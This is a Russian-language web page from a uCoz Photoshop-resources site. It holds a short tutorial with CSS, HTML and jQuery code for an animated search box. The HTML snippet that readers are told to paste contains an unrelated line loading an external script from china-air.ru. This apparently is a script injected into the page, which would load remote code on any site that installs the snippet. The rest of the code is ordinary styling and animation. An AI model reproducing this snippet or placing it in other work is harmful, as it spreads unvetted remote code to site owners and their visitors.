Вторник, 18.06.2019, 02:07
Приветствую Вас Гость | RSS
Всё для фотошопа
Главная | Регистрация | Вход

Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории
Векторный клипарт
Растровый клипарт
Actions для Photoshop
PSD- исходники
Кисти для Photoshop
Стили и градиенты для Photoshop
Плагины для Photoshop
Фоны,текстуры
Шрифты
Футажи
Скрап-наборы
Иконки (ico, png, psd)
Фотошаблоны для Photoshop
Фоторамки
Календари
Украшения Windows
Уроки и видеоуроки
Разное
Фото,картинки
Вебмастерам
Дизайнерский софт
Фотоальбомы, фотокниги, портфолио
Обои на рабочий стол
Художники, картины
Форма входа
Интересное
26 Grunge Brushes (HQ)
Категория: Кисти для Photoshop

Новогодний календарь – Пусть этот год звездой счастливой войдёт в семейный Ваш уют
Категория: Календари

Великолепный набор на 2012 год из рамки и календаря – Феечки Winx и розовый дракон
Категория: Фоторамки

Набор 9 новогодних рамок – Спешим поздравить с новым годом всех самых близких и друзей
Категория: Фоторамки

Рамка для фото – Новый Год – это праздник надежд!
Категория: Фоторамки

Обертка для шоколада с рамочкой – Лучший в мире папа
Категория: PSD- исходники

The tears wallpaper vector pattern

Новогодняя фоторамка с Белль – Засверкай огнями ёлка
Категория: Фоторамки

Christmas santa

Vector Golden Stars Background

Календарь – рамка 2012 –Новогодний серпантин так загадочно сверкает, так сияет, так блестит…
Категория: Календари

Оригинальная рамка для фото с бордовыми розами и бантиком
Категория: Фоторамки

Фоторамка - Поздравляю всех с Новым годом
Категория: Фоторамки

Шаблон для фотомонтажа - старинные костюмы 45

Обложка DVD и задувка на диск – Наш малыш
Категория: Разное

1000 марочных Шрифтов | 1000 Vintage Fonts
Категория: Шрифты

Новогодний календарь на 2012 год с героями мультика Ну, Погоди – Подарки от волка и зайца
Категория: Календари

Календарь на 2012 год – Поиграем с драконом в снежки
Категория: Календари

Детская фоторамка - Предновогодняя сказка
Категория: Фоторамки

2012 Dragon Year

brushes-rings
Категория: Кисти для Photoshop

Свадебная рамка для фотошоп - Голубки
Категория: Фоторамки

Star bright background

Bokeh Brushes
Категория: Кисти для Photoshop

Романтическая фоторамка – Вино на День Святого Валентин
Категория: Фоторамки

Главная » 2012 » Декабрь » 23 »

Форма поиска для Ucoz


15:06
Форма поиска для Ucoz
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Категория: Вебмастерам | Просмотров: 509 | Добавил: budyvmaster | Рейтинг: 0.0/0

Другие новости:

Рамка для фото – Под Новый Год зажги свечу и загадай желанье
Клипарт – Торты.. День Рожденья - это праздник, шары, клоуны и сладость..
Wedding Postcards
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Облако тегов
Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Наилучшее
Бесплатные ленты в PSD
Категория: PSD- исходники

Портфолио для детского сада - Незнайка и его друзья

Шаблоны - Почётные грамоты с государственной символикой
Категория: PSD- исходники

Портфолио для мальчика (детский сад и начальная школа) – Лунтик
Категория: Фоторамки

Наградные бланки - Благодарность, похвальный лист, сертификат, диплом, почётная грамота
Категория: PSD- исходники

Украинский казак- шаблон для фотомонтажа

Шаблон - Генеалогического дерева в PSD формате

русский солдат

Шаблон фотокниги для выпускников-Темный стиль

Детская фоторамка - Куклы Монстер Хай - Школа монстров
Категория: Фоторамки

Деревянные вывески общепита

Бумажные куклы-вырезалки вашим девочкам в красивых платьях
Категория: Разное

Календарь на 2015 год - Утренний кофе
Категория: Календари

Brushpack - Lighting - освещение - кисти для фотошопа
Категория: Кисти для Photoshop

Как новичку открыть фотосалон. Фото на документы с нуля

Шаблон фотопланшета для детского сада - Мой любимый детский сад

Портфолио детское для девочки – Белоснежка диснея

Шаблон перекидного детского календаря с Машей и Медведем с местом для фото - 2013 год
Категория: Календари

Детский клипарт - С 23 Февраля мальчики!
Категория: Скрап-наборы

С Днем Рождения праздничные векторные атрибуты

Шаблон для фотомонтажа - парадная форма ВМФ

Шаблон №1 классической фотокниги

Макет детской фотокниги - По - Воин дракона

Векторные Календарные сетки 2014

Костюм снегурочки - шаблоны для photoshop

Наша кнопка
coolgfx - бесплатно все приложения фотошоп


Copyright Coolgfx.ucoz.ru © 2019


Бесплатный хостинг uCoz